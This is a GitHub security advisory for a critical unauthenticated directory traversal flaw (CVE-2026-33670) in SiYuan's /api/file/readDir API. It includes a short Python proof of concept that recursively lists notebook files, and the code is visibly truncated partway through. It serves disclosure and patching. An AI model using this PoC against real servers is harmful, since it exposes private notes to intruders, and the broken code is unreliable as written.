GitHub Advisoryadvisory · Go
GHSA-xmw9-6r43-x9ww SiYuan has directory traversal within its publishing service
CRITICAL
Official page ↗
- Aliases
- CVE-2026-33670
- Ecosystem
- Go
- Packages
- github.com/siyuan-note/siyuan/kernel
- Severity
- Critical
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Weaknesses
- CWE-22
- Reviewed
- 2026-03-25
Affected packages
• Go github.com/siyuan-note/siyuan/kernel: <= 0.0.0-20260317012524-fe4523fff2c8 (no fix yet)
Description
Details
The /api/file/readDir interface was used to traverse and retrieve the file names of all documents under a notebook.
PoC
```python
!/usr/bin/env python3
"""POC: SiYuan /api/file/readDir 未鉴权目录遍历"""
import requests, json, sys
def poc(target):
base = target.rstrip("/")
url = f"{base}/api/file/readDir"
def read_dir(path, depth=0, max_depth=4):
try:
r = requests.post(url, json={"path":path},
headers={"Content-Type":"application/json"}, timeout=10)
data = r.json()
except Exception as e:
return
if data.get("code") != 0:
return
entries = data.get("data") or []
for entry in entries:
name = entry.get("name","")
if name.startswith("."):
continue
icon = "📁" if entry.get("isDir") else "📄"
indent = " " * depth
print(f" {indent}{icon} {name}")
if entry.get("isDir") and depth 1 else "http://172.18.40.184")
```
Impact
Directory traversal vulnerability: The entire directory structure of a notebook could be obtained, and then a file reading vulnerability could be exploited to achieve arbitrary document reading.
资源文件夹
插件文件夹
conf文件夹
Related
Alias · CVE (1)
- CVE-2026-33670 SiYuan is a personal knowledge management system. vulnerability
Weakness · CWE (1)
- CWE-22 Improper Limitation of a Pathname to a Restricted Directory weakness